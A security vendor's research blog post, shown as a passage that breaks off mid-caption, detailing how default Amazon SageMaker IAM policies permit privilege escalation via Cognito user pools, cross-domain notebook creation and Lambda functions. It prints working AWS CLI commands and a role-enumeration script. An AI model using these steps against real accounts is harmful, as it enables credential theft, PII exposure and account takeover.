* [Blog](https://www2.paloaltonetworks.com/blog) * [Cloud Security](https://www2.paloaltonetworks.com/blog/cloud-security/) * [AI Security Posture Management](https://www2.paloaltonetworks.com/blog/cloud-security/category/ai-security-posture-management/) * Securing Amazon SageMaker... # Securing Amazon SageMaker: Attack Surface Explained [](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2Fcloud-security%2Fsecuring-amazon-sagemaker-dspm%2F) [](https://twitter.com/share?text=Securing+Amazon+SageMaker%3A+Attack+Surface+Explained&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2Fcloud-security%2Fsecuring-amazon-sagemaker-dspm%2F) [](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2Fcloud-security%2Fsecuring-amazon-sagemaker-dspm%2F&title=Securing+Amazon+SageMaker%3A+Attack+Surface+Explained&summary=&source=) [](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https://www2.paloaltonetworks.com/blog/cloud-security/securing-amazon-sagemaker-dspm/&ts=markdown) \[\](mailto:?subject=Securing Amazon SageMaker: Attack Surface Explained) Link copied By [Ofir Balassiano](https://www.paloaltonetworks.com/blog/author/ofir-balassiano/?ts=markdown "Posts by Ofir Balassiano") and [David Nir Orlovsky](https://www.paloaltonetworks.com/blog/author/david-nir-orlovsky/?ts=markdown "Posts by David Nir Orlovsky") Oct 09, 2024 23 minutes [AI Security Posture Management](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-security-posture-management/?ts=markdown) [Data Security](https://www.paloaltonetworks.com/blog/category/data-security/?ts=markdown) [DSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/dspm/?ts=markdown) ![SageMaker attack vectors diagram](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-1.gif) Figure 1: SageMaker attack vectors diagram As organizations increasingly rely on Amazon SageMaker for their machine learning (ML) needs, understanding and mitigating security risks becomes paramount. Amazon SageMaker is a comprehensive platform supporting the entire ML lifecycle, including data preparation, model training, deployment and monitoring. Its integration with other AWS services, such as Bedrock, enhances its capabilities, enabling users to incorporate state-of-the-art large language models (LLMs) into their workflows. When best practices are not followed, Amazon SageMaker's power and flexibility may pose potential risks. The platform's extensive features and integrations can create a broad attack surface, making it imperative to understand potential vulnerabilities and how to mitigate them. In this blog post, we explore various features built into Amazon SageMaker. If these features are used without understanding and considering their implications, bad actors can exploit them as attack vectors. Feel free to use this blog as a tutorial for Amazon SageMaker best practices. And let us know if you find them helpful in your work, as we'll be happy to share more insights. Palo Alto Networks and Amazon SageMaker's team collaborate to share knowledge and improve cloud and AI service security practices. With that said, [Prisma Cloud's Code to Cloud platform](https://www.prismacloud.io/prisma/cloud/ai-spm) includes a set of modules that can help identify these misconfigurations so you can "stay ahead of the bad guys." **Table of Contents** [Attack Vector 1: Exploiting AWS Cognito-IDP Permissions](#post-328939-_l3q7bp39d4ts) [Attack Vector 2: Sagemaker domain hopping by notebook creation](#post-328939-_ulyjihc9ebbi) [Attack Vector 3: SageMaker pipeline integration Lambda + Databricks use case](#post-328939-_efjj4k2upu6c) [Attack Vector 4: Steal cross-domain Canvas secrets](#post-328939-_pwwxehrxb21f) [Attack Vector 5: AWS Resource Group modification](#post-328939-_98g3b5h740vb) [Mitigating SageMaker security risks](#post-328939-_yi4qdg28vosy) [Summary and Takeaways](#post-328939-_kvv5q9wuqxb5) ## Understanding the Basics SageMaker domains act as control planes for managing ML environments and user profiles. During [Quick Setup](https://docs.aws.amazon.com/sagemaker/latest/dg/onboard-quick-start.html), they automatically create necessary IAM roles attached to each domain and profile to maintain separation. While these default IAM roles facilitate functionality, they can introduce security risks due to their broad access permissions, if not properly managed. For example, the default IAM role includes policies like [AmazonSageMakerFullAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerFullAccess.html), granting access to services such as AWS Glue and AWS Lambda. If Amazon SageMaker Canvas is enabled, additional policies like [AmazonSageMakerCanvasFullAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerCanvasFullAccess.html) and [AmazonSageMakerCanvasAIServicesAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerCanvasAIServicesAccess.html) are also granted, which can lead to security risks if not properly managed. ![IAM role managed policies from a domain created via Quick Setup](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-2.png) Figure 2: IAM role managed policies from a domain created via Quick Setup ## Attack Vector 1: Exploiting AWS Cognito-IDP Permissions By leveraging overprivileged AWS Cognito-IDP permissions in the [AmazonSageMakerFullAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerFullAccess.html) policy, an attacker can manipulate existing user pools and exploit multiple permissions granted by the policy. This enables lateral movement attacks and control over IAM roles and other AWS services that leverage AWS Cognito User Pools as an identity provider. ### Background \*\*Amazon Cognito User Pools:\*\*These are user directories that provide sign-up and sign-in options for application users. They handle user registration, authentication, account recovery, and more. \*\*Amazon Cognito Identity Pools:\*\*Also known as federated identities, these allow users to obtain temporary AWS credentials to access AWS services. They integrate with various identity providers, including Cognito User Pools and third-party providers. \*\*AWS Ground Truth Private Workforce:\*\*This manual data-labeling feature enables SageMaker users to create a "labeling workforce" (group of workers either vendor-managed or chosen by the customer to label datasets) associated with a Cognito User Pool. The user pool registers users under it when inviting workers to the workforce. ![Private workforce creates a Cognito User Pool when established](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-3.png) Figure 3: Private workforce creates a Cognito User Pool when established The AmazonSageMakerFullAccess policy (granted by default during Quick Setup) includes Cognito-IDP permissions, which if misused, can lead to significant security breaches of these services. ![Illustration of AWS Cognito use case where the service can be used for API access and IAM access](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-4.png) Figure 4: Illustration of AWS Cognito use case where the service can be used for API access and IAM access The AmazonSageMakerFullAccess policy (granted by default during Quick Setup) includes Cognito-IDP permissions, which if misused, can lead to significant security breaches of these services. ![Permissions granted from AmazonSageMakerFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure5.png) Figure 5: Permissions granted from AmazonSageMakerFullAccess Multiple overprivileged permissions may appear when inspecting permissions regarding Cognito-IDP in [AmazonSageMakerFullAccess](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerFullAccess.html). ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-5.png) Although SageMaker leverages these permissions to create user pools specifically for a labeling workforce, permissions for actions such as creating and updating user pools are set with a broad resource scope (**all resources** ). This means that domains created via Quick Setup or those granted AmazonSageMakerFullAccess can manipulate Cognito User Pools in ways that can be exploited for destructive attacks. ### Attack Flow Summary 1. **Create a malicious user in the user pool:** Use cognito-idp:AdminCreateUser permission to create a new user with a temporary password. 2. **Add the user to all groups:** Use cognito-idp:AdminAddUserToGroup to assign the user to every group within the user pool, inheriting all associated roles. 3. **Authenticate and retrieve tokens:** Perform authentication flows to obtain JWTs that grant access to AWS resources based on group membership. 4. **Enumerate all identity pool roles:** Identify IAM roles linked to the identity pool and assume they use their GUID to gain AWS credentials. 5. **Leverage AWS credentials for unauthorized access:** Use the obtained AWS credentials to access or manipulate AWS services, leading to potential data breaches or service disruptions. ![Diagram showing Cognito attack vector](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-6.png) Figure 6: Diagram showing Cognito attack vector ### Detailed Attack Steps #### 1a. Create a Malicious User Use the cognito-idp:AdminCreateUser permission to create a new user. aws cognito-idp admin-create-user --user-pool-id \ --username \ --temporary-password 'Password1!' { "User": { "Username": "evil\_user", "Attributes": \[ { "Name": "sub", "Value": "54581448-e0c1-70df-4c76-5c877d2ed93f" } \], "UserCreateDate": 1717926548.038, "UserLastModifiedDate": 1717926548.038, "Enabled": true, "UserStatus": "FORCE\_CHANGE\_PASSWORD" } } |-------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | aws cognito-idp admin-create-user --user-pool-id \ --username \ --temporary-password 'Password1!' { "User": { "Username": "evil\_user", "Attributes": \[ { "Name": "sub", "Value": "54581448-e0c1-70df-4c76-5c877d2ed93f" } \], "UserCreateDate": 1717926548.038, "UserLastModifiedDate": 1717926548.038, "Enabled": true, "UserStatus": "FORCE\_CHANGE\_PASSWORD" } } | After creation, the attacker needs to change the password and obtain a**user pool client ID**. aws cognito-idp list-user-pool-clients --user-pool-id us-east-1\_XXXXXXXXXX |---|----------------------------------------------------------------------------| | 1 | aws cognito-idp list-user-pool-clients --user-pool-id us-east-1\_XXXXXXXXXX | #### 1b. Add Malicious User to All Groups Cognito-idp uses 'Groups' to bring together users and map their IAM roles, if needed. aws cognito-idp list-groups --user-pool-id us-east-1\_XXXXXXXXXX g { "Groups": \[ { "GroupName": "group\_dev", "UserPoolId": "us-east-1\_XXXXXXXXXX", "RoleArn": "arn:aws:iam::XXXXXXXXXX:role/dev-access", "LastModifiedDate": 1717928009.491, "CreationDate": 1717928009.491 }, { "GroupName": "admin\_group", "UserPoolId": "us-east-1\_XXXXXXXXXX", "RoleArn": "arn:aws:iam::XXXXXXXXXX:role/service-role/cloud-admin-access", "LastModifiedDate": 1717928063.539, "CreationDate": 1717928063.539 } \] } |-------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | aws cognito-idp list-groups --user-pool-id us-east-1\_XXXXXXXXXX g { "Groups": \[ { "GroupName": "group\_dev", "UserPoolId": "us-east-1\_XXXXXXXXXX", "RoleArn": "arn:aws:iam::XXXXXXXXXX:role/dev-access", "LastModifiedDate": 1717928009.491, "CreationDate": 1717928009.491 }, { "GroupName": "admin\_group", "UserPoolId": "us-east-1\_XXXXXXXXXX", "RoleArn": "arn:aws:iam::XXXXXXXXXX:role/service-role/cloud-admin-access", "LastModifiedDate": 1717928063.539, "CreationDate": 1717928063.539 } \] } | Here we can see the IAM role attribute for each group (IAM role optional). The attackers can add themselves to each group using the **aws cognito-idp admin-add-user-to-group** CLI command (via the cognito-idp:AdminAddUserToGroup permission). aws cognito-idp admin-add-user-to-group --user-pool-id us-east-1\_XXXXXXXXXX --username "evil\_user" --group-name \ |---|--------------------------------------------------------------------------------------------------------------------------------| | 1 | aws cognito-idp admin-add-user-to-group --user-pool-id us-east-1\_XXXXXXXXXX --username "evil\_user" --group-name \ | #### 1c. Authenticate and Retrieve Tokens Authenticate using **aws cognito-idp initiate-auth:** aws cognito-idp initiate-auth --auth-flow USER\_PASSWORD\_AUTH --client-id XXXXXXXXXXXXXX --auth-parameters USERNAME='evil\_user',PASSWORD='Password1!!' |---|-------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | aws cognito-idp initiate-auth --auth-flow USER\_PASSWORD\_AUTH --client-id XXXXXXXXXXXXXX --auth-parameters USERNAME='evil\_user',PASSWORD='Password1!!' | aws cognito-idp initiate-auth and aws cognito-idp respond-to-auth-challenge are API calls that are required for user authentication **and can be used without any AWS permissions.** A JWT bearer token is received. If we parse the token, we can see the following: ![Cognito User Pool JWT decode](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure7.png) Figure 7: Cognito User Pool JWT decode ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-7.png) **Explanation of JWT** * **Cognito:groups** -- Groups to which the user is attached * **Cognito:roles** -- Mapped roles for the groups to which the user has access * **Custom:anotherclaim**-- Custom attributes added to JWT that the identity pool can check. When the JWT encapsulates possible groups and IAM roles that the user can access when submitting authorization to the identity pool, the attributes are optionally checked by a rule-based system in the identity pool. ![Rule-based role mapping via JWT attributes](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-8.png) Figure 8: Rule-based role mapping via JWT attributes ### **If "Choose role with rules" is applied, the attacker can guess what claim is needed during the user-creating process by using user enumeration.** #### 1d. Enumerate and Exploit Identity Pool Roles ##### Understanding Trust Relationships A trust relationship's role mapped to an identity pool looks like this: ![Trust relationship reveals identity-pool GUID](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-9.png) Figure 9: Trust relationship reveals identity-pool GUID Now let's dissect the trust relationship policy. **Principal.Federated: cognito-identity.amazonaws.com** * This specifies the identity provider used in the policy, enabling identities from cognito-identity.amazonaws.com. **Action: sts:AssumeRoleWithWebIdentity** * This grants temporary security credentials to the federated user, enabling interaction with AWS services. It is useful when identities need AWS access without creating a dedicated IAM user. **Conditions** * Each identity provider supported by AWS maintains customized conditions for more granular control over IAM role access. * The specific condition **cognito-identity.amazonaws.com:aud** checks if the request originates from a specific identity pool that is identified by its pool ID **(\:\)**. This ensures that only a specific identity pool can obtain a federated token. For more information, see [IAM Roles for IDP](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html). ### **The trust relationship policy leaks the identity pool GUID to which the attacker does not have access (using the given permissions) but is essential to know to obtain IAM credentials at a later stage.** ##### Enumerating Identity Pool IAM Roles The following bash script checks the roles using IAM:ListRoles permission from: **AmazonSageMakerFullAccess,** with the goal to find the: * IAM role used by an identity pool * identity pool GUID used by the role \#!/bin/bash # Fetch all roles with their trust policies roles=$(aws iam list-roles --query 'Roles\[\*\].\[RoleName, Arn, AssumeRolePolicyDocument\]' --output json) # Iterate over each role and process the trust policy echo "$roles" | jq -c '.\[\]' | while read -r role; do role\_name=$(echo "$role" | jq -r '.\[0\]') role\_arn=$(echo "$role" | jq -r '.\[1\]') trust=$(echo "$role" | jq -c '.\[2\]') # Check if the trust policy matches the criteria if echo "$trust" | jq -e '.Statement\[\] | select(.Principal.Federated == "cognito-identity.amazonaws.com" and .Condition and .Condition."StringEquals" and (.Condition."StringEquals" | to\_entries\[\] | .key | startswith("cognito-identity.amazonaws.com")))' \> /dev/null; then # Print the role ARN and trust relationship echo "Role ARN: $role\_arn" echo "Trust: $trust" echo "-----------------------------------------" fi done |-------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/bin/bash # Fetch all roles with their trust policies roles=$(aws iam list-roles --query 'Roles\[\*\].\[RoleName, Arn, AssumeRolePolicyDocument\]' --output json) # Iterate over each role and process the trust policy echo "$roles" | jq -c '.\[\]' | while read -r role; do role\_name=$(echo "$role" | jq -r '.\[0\]') role\_arn=$(echo "$role" | jq -r '.\[1\]') trust=$(echo "$role" | jq -c '.\[2\]') # Check if the trust policy matches the criteria if echo "$trust" | jq -e '.Statement\[\] | select(.Principal.Federated == "cognito-identity.amazonaws.com" and .Condition and .Condition."StringEquals" and (.Condition."StringEquals" | to\_entries\[\] | .key | startswith("cognito-identity.amazonaws.com")))' \> /dev/null; then # Print the role ARN and trust relationship echo "Role ARN: $role\_arn" echo "Trust: $trust" echo "-----------------------------------------" fi done | **Example output** Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/SSOAccessDefaultIAMRoleTest Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/test2 Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/testidentitypool Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- |-------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/SSOAccessDefaultIAMRoleTest Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/test2 Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- Role ARN: arn:aws:iam::XXXXXXXXXXX:role/service-role/testidentitypool Trust: {"Version":"2012-10-17","Statement":\[{"Effect":"Allow","Principal":{"Federated":"cognito-identity.amazonaws.com"},"Action":"sts:AssumeRoleWithWebIdentity","Condition":{"StringEquals":{"cognito-identity.amazonaws.com:aud":\:\},"ForAnyValue:StringLike":{"cognito-identity.amazonaws.com:amr":"authenticated"}}}\]} ----------------------------------------- | #### 1e. Leverage AWS Credentials for Unauthorized Access To get the mapped AWS IAM credentials successfully, the attacker needs to make the cognito-identity get-id (to get an internal mapped ID between the user pool and identity pool) and get-credentials-for-identity (to get the AWS credentials of the mapped roles). Both API calls can be used without IAM permissions using the **--logins** flag along with**the JWT** obtained from step 1c.): aws cognito-identity get-id --identity-pool-id \< id from trust relationship \> --logins cognito-idp.us-east-1.amazonaws.com/\< user-pool\_id\>=\ { "IdentityId": "us-east-1:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" } |-------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | aws cognito-identity get-id --identity-pool-id \< id from trust relationship \> --logins cognito-idp.us-east-1.amazonaws.com/\< user-pool\_id\>=\ { "IdentityId": "us-east-1:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" } | credentials=$(aws cognito-identity get-credentials-for-identity \\ --identity-id \ \\ --logins cognito-idp.us-east-1.amazonaws.com/\=$COGNITO\_ID\_TOKEN \\ --custom-role-arn arn:aws:iam::XXXXXXXXX:role/rolename \\ --query 'Credentials.\[AccessKeyId,SecretKey,SessionToken\]' --output text) access\_key=$(echo $credentials | awk '{print $1}') secret\_key=$(echo $credentials | awk '{print $2}') session\_token=$(echo $credentials | awk '{print $3}') # Export the AWS credentials export AWS\_ACCESS\_KEY\_ID=$access\_key export AWS\_SECRET\_ACCESS\_KEY=$secret\_key export AWS\_SESSION\_TOKEN=$session\_token |----------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | credentials=$(aws cognito-identity get-credentials-for-identity \\ --identity-id \ \\ --logins cognito-idp.us-east-1.amazonaws.com/\=$COGNITO\_ID\_TOKEN \\ --custom-role-arn arn:aws:iam::XXXXXXXXX:role/rolename \\ --query 'Credentials.\[AccessKeyId,SecretKey,SessionToken\]' --output text) access\_key=$(echo $credentials | awk '{print $1}') secret\_key=$(echo $credentials | awk '{print $2}') session\_token=$(echo $credentials | awk '{print $3}') # Export the AWS credentials export AWS\_ACCESS\_KEY\_ID=$access\_key export AWS\_SECRET\_ACCESS\_KEY=$secret\_key export AWS\_SESSION\_TOKEN=$session\_token | ![Demonstration of AWS role credential acquired from Notebook CLI](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure10.png) Figure 10: Demonstration of AWS role credential acquired from Notebook CLI Through this method, the user can also switch between roles that use the **--custom-role-arn** flag with roles that are in the **cognito:groups** claim. ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-10.png) Now the attacker has moved between IAM roles, having escaped from the roles used in SageMaker Notebook. Depending on the client environment, the IAM roles that are mapped to the identity pool can be overprivileged or can offer an attacker more vectors for lateral movement attacks. #### Bonus 1: Leaking User Pool Data Using cognito-idp:ListUser permission, an attacker can access PII such as emails, phone numbers and any other attribute used in the user pool. aws cognito-idp list-users --user-pool-id \ { "Users": \[ { "Username": "someuser", "Attributes": \[ { "Name": "phone\_number", "Value": "+1XXXXXXXXXX"h }, { "Name": "email", "Value": "some\_email@email.com" }, { "Name": "sub", "Value": "345894d8-7091-709e-e499-c28e0004c3cd" } \], "UserCreateDate": 1717930621.233, "UserLastModifiedDate": 1717930621.233, "Enabled": true, } \] } |----------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | aws cognito-idp list-users --user-pool-id \ { "Users": \[ { "Username": "someuser", "Attributes": \[ { "Name": "phone\_number", "Value": "+1XXXXXXXXXX"h }, { "Name": "email", "Value": "some\_email@email.com" }, { "Name": "sub", "Value": "345894d8-7091-709e-e499-c28e0004c3cd" } \], "UserCreateDate": 1717930621.233, "UserLastModifiedDate": 1717930621.233, "Enabled": true, } \] } | #### Bonus 2: Bypassing Security Restrictions ##### Disable advanced security The Cognito User Pool has an [advanced security feature](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-settings-advanced-security.html) that can block, notify and find login anomalies during the authentication process. This is used when some user credentials are leaked or when suspicious activity is detected during login. It can be easily turned off via the cognito-idp:UpdateUserPool permission. aws cognito-idp update-user-pool \\ --user-pool-id \ \\ --user-pool-add-ons 'AdvancedSecurityMode=OFF' |-------|-----------------------------------------------------------------------------------------------------------------------| | 1 2 3 | aws cognito-idp update-user-pool \\ --user-pool-id \ \\ --user-pool-add-ons 'AdvancedSecurityMode=OFF' | ### Mitigation Strategies * Restrict IAM permissions: Limit cognito-idp permissions to only those necessary for SageMaker operations. * Implement least privilege principle: Ensure roles have the minimum permissions required. * Monitor and audit: Regularly review IAM policies and monitor for unusual activities. ## Attack Vector 2: SageMaker Domain Hopping by Notebook Creation ![Domain hopping attack vector flow](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-11.png) Figure 11: Domain hopping attack vector flow ### **Attack Vector Overview \& Impact** When creating domains in SageMaker via the Quick Setup option, the platform automatically creates necessary IAM roles with policies that enable functionality across different applications such as SageMaker Canvas and SageMaker Studio. While these roles are crucial in maintaining the separation of different domains and user profiles, they can be exploited if not properly secured. An attacker with access to a SageMaker notebook can create a new notebook instance with an IAM role from a different domain, effectively bypassing user segregation and gaining unauthorized access to new compute and data resources (S3, RDS, AI models). ### Attack Flow Summary The lateral movement attack starts from a notebook in **domain A.** 1. **Enumerate IAM roles:** The attacker uses the iam:ListRoles permission to identify IAM roles via a trust relationship with **sagemaker.amazonaws.com**. 2. **Create a new (privileged) notebook instance:** The attacker now uses the Sagemaker:CreateNotebookInstance API call to create a new SageMaker Notebook with an IAM role from a different domain. 3. **Access the privileged notebook:** The attacker generates a pre-signed URL using the sagemaker:CreatePresignedNotebookInstanceUrl API call to access the new notebook. ### Detailed Attack Steps #### 2a. Enumerate IAM Roles A typical attack begins with a reconnaissance stage, where the attacker enumerates IAM roles from the notebook in the original domain. By examining the **AmazonSageMakerFullAccess** policy, specifically the **AllowAWSServiceActions** statement, it's clear that the policy allows listing every role in the account. [![IAM policy statement in AmazonSageMakerFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure12.png)](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerFullAccess.html) Figure 12: IAM policy statement in AmazonSageMakerFullAccess The attacker can then use the **iam:ListRoles** permission to enumerate the IAM roles in the target AWS account, searching for lateral movement paths. Specifically, the attacker will look for roles with a trust relationship to **sagemaker.amazonaws.com** to advance the attack. #### 2b. Create a New (Privileged) Notebook Instance Let's dive into **AmazonSageMakerFullAccess** policy and look at the iam:PassRole permission. The following statement allows attaching **any role** (that can be assumed by SageMaker) in the account to any SageMaker resource (notebooks, training pipelines, model end points). ![Lambda pass role statement taken from AmazonSageMakerFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure13.png) Figure 13: Lambda pass role statement taken from AmazonSageMakerFullAccess ![Policy statement from AmazonSageMakerFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure14.png) Figure 14: Policy statement from AmazonSageMakerFullAccess What's more, the attacker can move laterally across SageMaker using the default AmazonSageMakerFullAccess with the following statement: ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-14.png) **AllowAllNonAdminSageMakerActions** is a tricky statement, since it does not allow the attacker to perform any action in the domain, app, user profile, space or flow definition. But this exclusion does not apply to **notebook instances**. To carry out the attack, the attacker needs to use the default permissions they have through the **AmazonSageMakerFullAccess** policy to move to another IAM role: **1)** sagemaker:CreatePresignedNotebookInstanceUrl (from **AllowAllNonAdminSageMakerActions** **2)** sagemaker:CreateNotebookInstance (from **AllowAllNonAdminSageMakerActions**) **3)** iam:PassRole (from **AllowPassRoletoSageMaker**) Create a new notebook instance with a new IAM role (note the **--role-arn** parameter). aws sagemaker create-notebook-instance --notebook-instance-name privesc-notebook --instance-type ml.t3.medium --role-arn arn:aws:iam::XXXXXXXXXXX:role/service-role/SageMaker-ExecutionRole-20240521T120348 output: { "NotebookInstanceArn": "arn:aws:sagemaker:us-east-1:XXXXXXXXXXX:notebook-instance/privesc-notebook" } |-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | aws sagemaker create-notebook-instance --notebook-instance-name privesc-notebook --instance-type ml.t3.medium --role-arn arn:aws:iam::XXXXXXXXXXX:role/service-role/SageMaker-ExecutionRole-20240521T120348 output: { "NotebookInstanceArn": "arn:aws:sagemaker:us-east-1:XXXXXXXXXXX:notebook-instance/privesc-notebook" } | Figure 15: AWS CLI command to create a new notebook instance named privesc-notebook with SageMaker-ExecutionRole-20240521T120348 IAM role #### 2c. Access the Privileged Notebook After the notebook is created, it can be accessed via a predefined URL generated via the [CreatePresignedNotebookInstanceUrl](https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreatePresignedNotebookInstanceUrl.html) API call. ## Attack Vector 3: SageMaker Pipeline Integration with Lambda + Databricks Use Case ![Attack vector diagram with Databricks role](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-15.png) Figure 16: Attack vector diagram with Databricks role ### Attack Vector Overview \& Impact SageMaker Studio allows running model-building pipelines and provides the [AmazonSageMakerPipelinesIntegrations](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AmazonSageMakerPipelinesIntegrations.html) policy to interact with AWS services. This policy can be exploited to create and invoke Lambda functions with elevated privileges, potentially leading to a full account takeover. An AWS account that uses this policy can be subjected to lateral movement steps that enable a full account takeover. ### Attack Flow Summary The lateral movement attack starts from a notebook in domain A. 1. **Create a Malicious Lambda Function** : Use lambda:CreateFunction to create a Lambda function with a high-privilege IAM role. 2. **Invoke the Lambda Function**: Execute the function to perform unauthorized actions. #### 3a. Create a SageMaker Lambda ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-16.png) ![Policy statement for Lambda functions from AmazonSageMakerPipelinesIntegrations](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure17.png) Figure 17: Policy statement for Lambda functions from AmazonSageMakerPipelinesIntegrations The policy allows **any Lambda**to be created (as long as it includes 'sagemaker' in its name), and to pass any IAM role that trusts Lambda, EMR or EC2 (!) This, of course, allows an attacker to pass roles that were not originally intended to be used by SageMaker. aws lambda create-function --function-name sagemaker-privesc --zip-file fileb://function.zip --handler lambda\_function.lambda\_handler --runtime python3.8 --role arn:aws:iam::XXXXXXXX:role/Lambda-function-role |---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | aws lambda create-function --function-name sagemaker-privesc --zip-file fileb://function.zip --handler lambda\_function.lambda\_handler --runtime python3.8 --role arn:aws:iam::XXXXXXXX:role/Lambda-function-role | Figure 18: AWS CLI command that creates 